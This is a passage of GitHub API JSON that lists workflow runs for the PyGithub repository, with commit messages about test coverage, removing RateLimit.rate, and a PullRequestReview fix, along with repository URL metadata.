91be151d441d40071cfa","message":"PullRequestReview is not a completable object (#1528)\n\nWhile chasing coverage failures, I discovered PullRequestReview's do not\r\nsend back a URL at all, which means firstly, the url property is not\r\nrequired because it will always be None, and secondly, the object can\r\nnever be completed. I'm not certain why this change broke the test, but\r\nit looked brittle, refactor it to be clearer.","timestamp":"2020-05-20T23:59:05Z","author":{"name":"Steve Kowalik","email":"steven@wedontsleep.org"},"committer":{"name":"GitHub","email":"noreply@github.com"}},"repository":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars0.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments"},"head_repository":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars0.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments"}},{"id":110932072,"node_id":"MDExOldvcmtmbG93UnVuMTEwOTMyMDcy","head_branch":"master","head_sha":"52ec366be4915dc9193a358ee9afebbadc238f4b","run_number":120,"event":"push","status":"completed","conclusion":"success","workflow_id":1026390,"url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/110932072","html_url":"https://github.com/PyGithub/PyGithub/actions/runs/110932072","pull_requests":[],"created_at":"2020-05-20T23:58:55Z","updated_at":"2020-05-21T00:01:23Z","jobs_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/110932072/jobs","logs_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/110932072/logs","check_suite_url":"https://api.github.com/repos/PyGithub/PyGithub/check-suites/702296639","artifacts_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/110932072/artifacts","cancel_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/110932072/cancel","rerun_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/110932072/rerun","workflow_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/workflows/1026390","head_commit":{"id":"52ec366be4915dc9193a358ee9afebbadc238f4b","tree_id":"73f774dbecfe6fd27e49c55a22cd0bffec9f4d8f","message":"Test more attributes (#1526)\n\nTo increase coverage, sprinkle in some asserts for attributes that were\r\nnot checked -- this uncovered a bug in Issue that two attributes were\r\nnot properly initialized to NotSet.","timestamp":"2020-05-20T23:58:50Z","author":{"name":"Steve Kowalik","email":"steven@wedontsleep.org"},"committer":{"name":"GitHub","email":"noreply@github.com"}},"repository":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars0.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments"},"head_repository":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars0.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments"}},{"id":110286191,"node_id":"MDExOldvcmtmbG93UnVuMTEwMjg2MTkx","head_branch":"remove-ratelimit-rate","head_sha":"766b6da9fdf1c43236b8146dd6c55e3fe4a833b6","run_number":119,"event":"pull_request","status":"completed","conclusion":"success","workflow_id":1026390,"url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/110286191","html_url":"https://github.com/PyGithub/PyGithub/actions/runs/110286191","pull_requests":[],"created_at":"2020-05-20T10:34:51Z","updated_at":"2020-05-20T10:37:17Z","jobs_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/110286191/jobs","logs_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/110286191/logs","check_suite_url":"https://api.github.com/repos/PyGithub/PyGithub/check-suites/699624811","artifacts_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/110286191/artifacts","cancel_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/110286191/cancel","rerun_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/110286191/rerun","workflow_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/workflows/1026390","head_commit":{"id":"766b6da9fdf1c43236b8146dd6c55e3fe4a833b6","tree_id":"afe24ba95c3d402fe6941c231516186d6d125702","message":"Remove RateLimit.rate\n\nRateLimit.rate was first deprecated in v1.43.2, which was released 20\nmonths ago. As that's a fairly generous deprecation period, remove it.","timestamp":"2020-05-20T10:33:03Z","author":{"name":"Steve Kowalik","email":"steven@wedontsleep.org"},"committer":{"name":"Steve Kowalik","email":"steven@wedontsleep.org"}},"repository":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars0.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments"},"head_repository":{"id":129349732,"node_id":"MDEwOlJlcG9zaXRvcnkxMjkzNDk3MzI=","name":"PyGithub","full_name":"s-t-e-v-e-n-k/PyGithub","private":false,"owner":{"login":"s-t-e-v-e-n-k","id":15225059,"node_id":"MDQ6VXNlcjE1MjI1MDU5","avatar_url":"https://avatars0.githubusercontent.com/u/15225059?v=4","gravatar_id":"","url":"https://api.github.com/users/s-t-e-v-e-n-k","html_url":"https://github.com/s-t-e-v-e-n-k","followers_url":"https://api.github.com/users/s-t-e-v-e-n-k/followers","following_url":"https://api.github.com/users/s-t-e-v-e-n-k/following{/other_user}","gists_url":"https://api.github.com/users/s-t-e-v-e-n-k/gists{/gist_id}","starred_url":"https://api.github.com/users/s-t-e-v-e-n-k/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/s-t-e-v-e-n-k/subscriptions","organizations_url":"https://api.github.com/users/s-t-e-v-e-n-k/orgs","repos_url":"https://api.github.com/users/s-t-e-v-e-n-k/repos","events_url":"https://api.github.com/users/s-t-e-v-e-n-k/events{/privacy}","received_events_url":"https://api.github.com/users/s-t-e-v-e-n-k/received_events","type":"User","site_admin":false},"html_url":"https://github.com/s-t-e-v-e-n-k/PyGithub","description":"Typed interactions with the GitHub API v3","fork":true,"url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub","forks_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/forks","keys_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/teams","hooks_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/events","assignees_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/tags","blobs_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/languages","stargazers_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/subscription","commits_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/merges","archive_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/downloads","issues_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/deployments"}},{"id":110278769,"node_id":"MDExOldvcmtmbG93UnVuMTEwMjc4NzY5","head_branch":"pullrequestreview-no-url","head_sha":"ef40c4de3ff77337de4bebe452e70df8aa506d66","run_number":118,"event":"pull_request","status":"completed","conclusion":"success","workflow_id":1026390,"url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/110278769","html_url":"https://github.com/PyGithub/PyGithub/actions/runs/110278769","pull_requests":[],"created_at":"2020-05-20T10:24:53Z","updated_at":"2020-05-20T10:27:13Z","jobs_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/110278769/jobs","logs_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/110278769/logs","check_suite_url":"https://api.github.com/repos/PyGithub/PyGithub/check-suites/699594718","artifacts_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/110278769/artifacts","cancel_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/110278769/cancel","rerun_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/110278769/rerun","workflow_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/workflows/1026390","head_commit":{"id":"ef40c4de3ff77337de4bebe452e70df8aa506d66","tree_id":"d99513af91eed5a16ea4c1fedaaa476487bcb385","message":"PullRequestReview is not a completable object\n\nWhile chasing coverage failures, I discovered PullRequestReview's do not\nsend back a URL at all, which means firstly, the url property is not\nrequired because it will always be None, and secondly, the object can\nnever be completed. I'm not certain why this change broke the test, but\nit looked brittle, refactor it to be clearer.","timestamp":"2020-05-20T10:23:54Z","author":{"name":"Steve Kowalik","email":"steven@wedontsleep.org"},"committer":{"name":"Steve Kowalik","email":"steven@wedontsleep.org"}},"repository":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars0.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API 